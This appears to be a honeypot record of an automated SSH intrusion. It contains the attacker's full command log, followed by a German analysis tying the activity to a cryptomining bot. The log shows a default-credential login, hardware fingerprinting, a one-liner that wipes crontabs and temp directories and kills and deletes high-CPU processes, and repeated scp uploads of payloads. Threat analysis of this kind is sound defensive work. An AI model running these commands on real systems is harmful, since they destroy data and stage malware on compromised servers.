14.10.2026, 12:09 UTC · 88 Befehle · über ssh · Frankreich · 16× wiederholt
user='sai' pass='support' sai@srv01:~$ uname -m | awk '{printf $1}' x86_64 sai@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) sai@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor sai@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 sai@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 sai@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 sai@srv01:~$ uname -n | awk '{printf $1}' gpu01 sai@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic sai@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… crontab: no crontab for Admin rm: cannot remove '/var/tmp/.': Permission denied rm: cannot remove '/var/tmp/..': Permission denied rm: cannot remove '/tmp/.': Permission denied rm: cannot remove '/tmp/..': Permission denied sai@srv01:~$ echo support > /tmp/d.log sai@srv01:~$ scp -qt "/var/tmp/lbnTbNpO" sai@srv01:~$ scp -qt "/tmp/lbnTbNpO" sai@srv01:~$ scp -qt "/dev/shm/lbnTbNpO" sai@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 sai@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 sai@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. sai@srv01:~$ echo toor > /tmp/d.log sai@srv01:~$ scp -qt "/var/tmp/tJaLUzOr" sai@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 sai@srv01:~$ scp -qt "/tmp/tJaLUzOr" sai@srv01:~$ echo spark > /tmp/d.log sai@srv01:~$ scp -qt "/dev/shm/tJaLUzOr" sai@srv01:~$ scp -qt "/var/tmp/PbGIwfPQ" sai@srv01:~$ scp -qt "/tmp/PbGIwfPQ" sai@srv01:~$ scp -qt "/dev/shm/PbGIwfPQ" sai@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 sai@srv01:~$ echo test3 > /tmp/d.log sai@srv01:~$ scp -qt "/var/tmp/ZKgRNQZz" sai@srv01:~$ scp -qt "/tmp/ZKgRNQZz" sai@srv01:~$ scp -qt "/dev/shm/ZKgRNQZz" sai@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 sai@srv01:~$ echo Admin > /tmp/d.log sai@srv01:~$ scp -qt "/var/tmp/VGSxahDg" sai@srv01:~$ scp -qt "/tmp/VGSxahDg" sai@srv01:~$ scp -qt "/dev/shm/VGSxahDg" sai@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 sai@srv01:~$ echo changeme > /tmp/d.log sai@srv01:~$ scp -qt "/var/tmp/RGKFlyCu" sai@srv01:~$ scp -qt "/tmp/RGKFlyCu"
Der Angreifer meldete sich mit Standardzugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardwarekonfiguration zu ermitteln. Anschließend versuchte er, temporäre Dateien zu löschen, Prozesse mit hoher CPU-Auslastung zu beenden und mehrere Payloads in verschiedene Verzeichnisse zu kopieren. Die Sitzung wurde 16 Mal wiederholt, was auf eine automatisierte Skriptausführung hindeutet.
Die Befehle uname, lspci und nvidia-smi dienen der Identifikation von CPU-Modell und GPU-Typ, um die Mining-Effizienz einzuschätzen. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt, um Spuren zu verwischen oder Platz zu schaffen. Die awk-Schleife identifiziert Prozesse mit hoher CPU-Last und beendet sie gewaltsam, um Ressourcen freizumachen. Die scp-Befehle versuchen, Dateien in /var/tmp, /tmp und /dev/shm zu schreiben, was typische Ablageorte für Malware sind. Die curl-Abfrage an ipinfo.io dient der Geolokalisierung oder Netzwerkinformation des Opfers.
Das primäre Ziel ist vermutlich Kryptomining, da der Angreifer gezielt nach NVIDIA-Grafikkarten und AMD-Prozessoren sucht. Das Beenden von Prozessen mit hoher Auslastung dient dazu, konkurrierende Mining-Software oder Systemressourcen zu entfernen, um die eigene Malware zu installieren. Die wiederholten Upload-Versuche deuten auf den Versuch hin, einen Miner oder Botnet-Client auf dem System zu platzieren.
Dieses Muster ist sehr verbreitet und entspricht typischen automatisierten Mining-Bots, die auf exponierte SSH-Dienste mit schwachen Passwörtern zielen. Die spezifische Kombination aus GPU-Prüfung und Prozess-Kill-Logik ist charakteristisch für moderne Kryptomining-Malware.